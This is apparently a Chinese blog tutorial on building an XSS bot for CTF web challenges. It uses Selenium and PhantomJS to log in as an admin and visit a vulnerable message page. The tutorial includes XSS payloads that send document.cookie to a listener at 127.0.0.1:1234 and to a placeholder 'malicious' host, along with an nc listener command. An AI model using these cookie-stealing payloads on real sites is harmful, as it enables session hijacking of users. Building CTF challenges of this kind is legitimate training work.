如何写一个Xss Bot

现在的ctf比赛里

xss的出题方式比较特殊,一般使用xss bot,所以借鉴大佬经验尝试弄一个xss题目。

xss bot

就是代替管理员去完成点击页面的任务,bot需要能够执行js,事情的本质是我们需要一个浏览器内核来解析js

xss bot一般会用selenium+webdriver

webdriver一般有3种

chrome webdriver、firefox webdriver、phantomjs

selenium

selenium是用来控制webdriver的接口的

chrome和firefox的webdriver都有一个特点,就是需要桌面,我们搭建题目在docker环境中会有问题,

phantomjs和别的浏览器本质上没什么区别,差不多也是类似于浏览器的内核,优势其实是多平台支持,而且不需要浏览器支持(但是PhantomJS官方宣布暂停开发,python做爬虫的话,不要再用PhantomJS)

这里我们为了方便暂时使用phantomjs。

Selenium+PhantomJS安装

最新版selenium已经放弃PhantomJS了,selenium版本降级安装

pip install selenium==2.48.0

Download PhantomJS

ubuntu下可以直接

apt install PhantomJS

下载设置好环境变量即可使用。

以留言板xss为例做一个xss bot

网站留言处存在xss,bot实现功能模拟管理员登录后访问留言页面。

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Auther: xf@hackxf.cn #导入webdriver API对象,可以调用游览器和操作界面
from selenium import webdriver
import time
#要想调用键盘按键,鼠标操作需要引入keys包
from selenium.webdriver.common.keys import Keys
#创建PhantomJS浏览器对象
driver = webdriver.PhantomJS()
#加载网站页面
driver.get("http://192.168.228.36/admin/login.php")
#找到页面input输入标签并填充文本内容admin
driver.find_element_by_name('user').send_keys("admin")
driver.find_element_by_name('password').send_keys("ying20181818") #输入帐号密码登录网站
#By Class Name 找到class=button的按钮并模拟点击
data = driver.find_element_by_class_name('button').click()
time.sleep(1)
# driver.save_screenshot("sss.png") #截屏
for cookie in driver.get_cookies(): #打印当前cookie
print("%s -> %s"%(cookie['name'], cookie['value']))
#管理员登录状态访问存在xss的页面
driver.get("http://192.168.228.36/post.php?id=1")
# driver.save_screenshot("sss1.png") #截屏
for cookie in driver.get_cookies():
print("%s -> %s"%(cookie['name'], cookie['value']))
# print data
# print driver.title
#退出驱动关闭所有窗口
driver.quit()

参考资料

Selenium+PhantomJS使用时报错原因及解决方案

Selenium与PhantomJS使用手册

留言板xss bot靶场

登录或者设置cookie

实现xss bot一分钟运行一次的sh脚本

while sleep 1; do phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any xss-bot.js; done;

x入payload

<script>
new Image().src="http://127.0.0.1:1234/"+(document.cookie);
</script>
<script>document.write('<img src="http://malicious/?'+document.cookie+'  "/>');</script>

vps监听端口

nc -lvp 1234

一旦我们的PhantomJS XSS bot访问易受攻击的URL并执行有效负载,我们将收到对侦听器的回调

如何写一个Xss Bot的更多相关文章

  1. 用Node+wechaty写一个爬虫脚本每天定时给女(男)朋友发微信暖心话

    wechatBot 微信每日说,每日自动发送微信消息给你心爱的人 项目介绍 灵感来源 在掘金看到了一篇<用Node + EJS写一个爬虫脚本每天定时女朋友发一封暖心邮件>后, 在评论区偶然 ...

  2. 怎样写一个webpack loader

    div{display:table-cell;vertical-align:middle}#crayon-theme-info .content *{float:left}#crayon-theme- ...

  3. 请写一个php函数,可以接受任意数量的参数

    请写一个php函数,可以接受任意数量的参数 这是一道面试题.怎么写这个函数呢? function fun(......) { } ----------------------------------- ...

  4. 学记:为spring boot写一个自动配置

    spring boot遵循"约定优于配置"的原则,使用annotation对一些常规的配置项做默认配置,减少或不使用xml配置,让你的项目快速运行起来.spring boot的神奇 ...

  5. 自己写一个 jQuery 插件

    我知道这一天终将会到来,现在,它来了. 需求 开发 SharePoint 的 CSOM 应用时,经常需要在网页上输出一些信息. 这种需求和 alert 的弹窗.F12 的断点查看信息的场景是不一样的: ...

  6. 深入浅出React Native 3: 从零开始写一个Hello World

    这是深入浅出React Native的第三篇文章. 1. 环境配置 2. 我的第一个应用 将index.ios.js中的代码全部删掉,为什么要删掉呢?因为我们准备从零开始写一个应用~学习技术最好的方式 ...

  7. 【转】用C写一个简单病毒

    [摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of t ...

  8. JS入门学习,写一个时钟~

    <!-- 耽搁了几天,于是又继续回到JS的学习了~~ 各种头大,加油吧... --> <!doctype html><html><head> <t ...

  9. JS高级群的日常!写一个从10到0的倒计时,用console.log打印,不可以用 setInterval!本来说好的研究avalonJS最后演变成了看着大神在那边互相比拼实力。。

      JS高级群的日常!写一个从10到0的倒计时,用console.log打印,不可以用 setInterval!本来说好的研究avalonJS最后演变成了看着大神在那边互相比拼实力..   小森执行一 ...

随机推荐

  1. 逆向分析-IDA动态调试WanaCrypt0r的wcry.exe程序

    0x00 前言 2017年5月12日全球爆发大规模蠕虫勒索软件WanaCrypt0r感染事件,各大厂商对该软件做了深入分析,但针对初学者的分析教程还比较少,复现过程需要解决的问题有很多,而且没有文章具 ...

  2. Zeal——好用的离线 API 文档大全!

    介绍 作为一名程序员,工作中学习中免不了是要查询API文档的,毕竟我们能记住的东西有限,而且经常也会碰到某个API一时想不起来的情况,而每次还要打开网页去查询还是挺麻烦的,这时候拥有一个款好用的本地离 ...

  3. IntelliJ 禁用 Search Everywhere

    发现自: https://youtrack.jetbrains.com/issue/IDEA-114933#comment=27-603899 Open lib/resources.jar/idea/ ...

  4. SGU---102 欧拉函数

    题目链接: https://cn.vjudge.net/problem/SGU-102#author=0 题目大意: 求解小于等于N的且与N互质的数字有多少个 解题思路: 直接求欧拉函数即可 关于欧拉 ...

  5. java.sql.SQLException: Incorrect string value: '\xE5\xB0‘

    mysql插入中文字符报java.sql.SQLException: Incorrect string value: '\xE5\xB0‘ #原因:由于默认情况下,mysql的字符集是latin1(I ...

  6. chrome的uget扩展程序红色 Unable to connect with uget-integrator问题

    我们根据网上的教程在ubuntu16.04中安装下载工具uget+aria2并配置chrome时,最后重新打开chrome浏览器,发现uget扩展程序是红色的,点开看到”Unable to conne ...

  7. HashMap实现原理及源码分析之JDK8

    继续上回HashMap的学习 HashMap实现原理及源码分析之JDK7 转载 Java8源码-HashMap  基于JDK8的HashMap源码解析  [jdk1.8]HashMap源码分析 一.H ...

  8. 二进制包 vs. 源代码包

    在ROS中, 我们可能经常会遇到缺少相关的ROS依赖的问题. 有些时候你编译或者运行一些ROS程序, 系统会提示找不到XXX功能包. 如果是缺少ROS的依赖, 通常可以用以下命令来安装: $ sudo ...

  9. block本质探寻六之修改变量

    说明: <1>阅读本文章,请参照前面的block文章加以理解: <2>本文的变量指的是auto类型的局部变量(包括实例对象): <3>ARC和MRC两种模式均适用: ...

  10. 面向对象之final关键字

    1.1     final的概念 final是个修饰符,它可以用来修饰类,类的成员,以及局部变量.不能修饰构造方法. 问题: 继承的出现提高了代码的复用性,并方便开发.但随之也有问题,有些类在描述完之 ...